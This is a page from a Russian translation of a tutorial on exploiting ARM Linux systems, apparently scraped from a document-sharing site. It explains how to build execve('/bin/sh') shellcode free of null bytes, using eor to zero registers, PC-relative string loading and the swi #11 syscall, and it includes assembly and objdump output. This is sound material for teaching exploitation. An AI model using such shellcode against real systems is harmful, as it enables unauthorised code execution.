Переведено для codeby. Net


Download 0.92 Mb.
Pdf ko'rish
bet25/36
Sana09.05.2023
Hajmi0.92 Mb.
#1449564
TuriРеферат
1   ...   21   22   23   24   25   26   27   28   ...   36
Bog'liq
эксплуатация систем arm linux AFANX

5.2.1 Нормализация шеллкода
Для решения первой задачи и удаления символов "00" из строки мы можем
очистить регистры r1 и r2 с помощью математической операции. Идеальной
операцией является исключающее-или (инструкция eor). Если соединить два
одинаковых значения, то результат всегда будет равен 0. Можно заменить в
ассемблерном коде (алгоритм 5) строки:
operation:
...
mov r1, #0
mov r2, #0
вметсе с этим:
operation:
...
eor r1, r1
eor r2, r2
Первая проблема решена. Теперь мы можем перейти к вопросу загрузки адрес
"/bin/sh" в r0.
Одним из решений является встраивание строки в шеллкод в известном месте, и
загрузить это значение в r0. Например, мы можем добавить строку в конце
шеллкода и вычислить ее адресный регистр с помощью программного счетчика.
47


Рис. 18: Загрузка адреса "/bin/sh"
Мы вычислим смещение строки позже, когда шеллкод будет завершен. Осталась
только последняя проблема: вызов execve().
Было бы удобно запускать execve() напрямую, не обращая внимания на адрес
функции libc. К счастью, Linux предоставляет нам множество операций,
которые могут быть активированы через программные прерывания.
Как мы видели в начальной части документа, инструкция swi (программное
прерывание) очень важна, поскольку она позволяет программе в
пользовательском режиме(User mode) делать вызовы к привилегированному
коду операционной системы(Operating System code).
Что нам нужно сделать, так это найти номер интересующего нас системного
вызова, и сгенерировать прерывание. Список доступных номеров системных
вызовов содержится в файле "linux/arch/arm/include/asm/unistd.h" (вы также
можете найти этот файл онлайн -
http://lxr.free-
electrons.com/source/arch/arm/include/asm/unistd.h?v=2.6.32).
Нас интересует системный вызов:
...
#define __NR_SYSCALL_BASE 0
...
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
...
одиннадцатый.
48


Мы можем заменить эту строку ассемблерного кода (алгоритм 5), вызовом
функции:
operation:
...
bl
execve
с инструкцией прерывания:
operation:
...
swi
#11
Давайте посмотрим на результат:
root@armstation# gcc shell.s -o shell2
root@armstation# objdump -d shell2 | grep ":" -A 11
00008364 :
8364:
e1a0c00d
mov ip, sp
8368:
e92dd800
push {fp, ip, lr, pc}
836c:
e24cb004
sub fp, ip, #4 ; 0x4
8370:
e59f0014
ldr r0, [pc, #20]
; 838c
8374:
e0211001
eor r1, r1, r1
8378:
e0222002
eor r2, r2, r2
837c:
ef00000b
svc 0x0000000b
8380:
e24bd00c
sub sp, fp, #12 ; 0xc
8384:
e89d6800
ldm sp, {fp, sp, lr}
8388:
e12fff1e
bx lr
838c:
00008450
.word 0x00008450
root@armstation#
Все еще что-то не так: инструкция svc 0x0000000b (программное
прерывание) переводится в шестнадцатеричную последовательность
"ef00000b", которая содержит несколько нулей.
Было бы неплохо иметь другой набор инструкций, более короткий, где эти
нулей можно избежать…

Download 0.92 Mb.

Do'stlaringiz bilan baham:
1   ...   21   22   23   24   25   26   27   28   ...   36




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling